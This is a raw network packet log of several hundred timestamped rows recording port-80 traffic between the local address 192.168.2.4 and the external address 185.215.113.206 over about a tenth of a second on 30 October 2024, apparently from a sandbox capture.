Oct 30, 2024 02:27:37.906965017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.906987906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.906991005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907037020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907079935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907113075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907131910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907145977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907151937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907181978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907192945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907217026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907226086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907248974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907277107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907284021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907286882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907334089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907336950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907371998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907376051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907406092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907418013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907439947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907440901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907475948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907489061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907524109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907536983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907557011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907572985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907588959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907593966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907627106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907640934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907674074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907686949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907702923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907716990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907743931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907752991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907789946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907794952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907823086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907833099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907856941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907876015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907885075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907915115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907918930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907927990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907953024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907963037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.907990932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.907994986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908025980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908039093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908062935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908174992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908206940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908221960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908241034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908255100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908276081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908293009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908309937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908338070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908344984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908353090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908380032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908395052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908410072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908420086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908443928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908452988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908477068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908490896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908509970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908519030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908555984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908720970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908755064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908768892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908787966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908792019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908822060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908828974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908855915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908862114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908890009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908896923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908924103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908937931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908957005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908972025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.908991098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.908994913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909029961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909030914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909064054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909066916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909096956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909107924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909132004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909143925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909164906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909174919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909198999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909205914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909240007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909392118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909425974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909435034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909461021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909463882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909495115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909501076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909528017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909535885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909563065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909570932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909596920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909605980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909625053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909646988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909660101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909682989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909693003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909709930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909727097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909746885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909761906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909784079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909794092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909809113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909828901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909832001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909864902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909872055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909898996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.909908056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.909935951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910150051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910182953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910190105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910218000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910222054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910250902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910254002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910290956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910293102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910334110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910830975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910866022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910882950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910898924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910902023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910933018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910940886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.910968065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.910974026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911001921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911014080 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911047935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911056042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911091089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911103964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911124945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911133051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911158085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911169052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911191940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911196947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911221981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911254883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911283970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911288023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911293030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911293030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911333084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911345959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911382914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911401987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911416054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911427975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911453009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911458969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911487103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911495924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911521912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911539078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911556005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911590099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911593914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911593914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911622047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911627054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911654949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911664009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911689043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911696911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911722898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911727905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911756039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911762953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911789894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911794901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911823034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.911834955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.911860943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948470116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948529959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948577881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948607922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948626041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948649883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948659897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948705912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948712111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948745966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948759079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948796988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948796988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948837042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948848963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948882103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948884964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948924065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.948932886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948966026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.948977947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.949004889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.949017048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949050903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949063063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.949120045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949152946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949187040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949217081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949266911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949301004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.949400902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.949533939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.990925074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.990956068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.990998030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.991017103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.996342897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.996372938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.996402025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.996423006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.996423006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.996454000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.996469021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.996495008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022434950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022486925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022520065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022571087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022603035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022629976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022636890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022671938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022680044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022702932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022706985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022736073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022756100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022835970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022865057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022895098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022897959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022919893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022945881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022960901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.022977114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.022995949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023009062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023020029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023042917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023058891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023072004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023086071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023107052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023121119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023158073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023236990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023271084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023288012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023325920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023387909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023421049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023446083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023453951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023468018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023500919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023516893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023550034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023565054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023583889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023597002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023627043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023710012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023742914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023766994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023776054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023798943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023811102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023827076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023855925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023931026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023964882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.023982048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.023998022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024012089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024032116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024065018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024074078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024092913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024100065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024116039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024132967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024147034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024168968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024183989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024223089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024308920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024341106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024364948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024374962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024405003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024410009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024425983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024442911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024456978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024477005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024499893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024529934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024557114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024590015 CET	80	49760	185.215.113.206	192.168.2.4
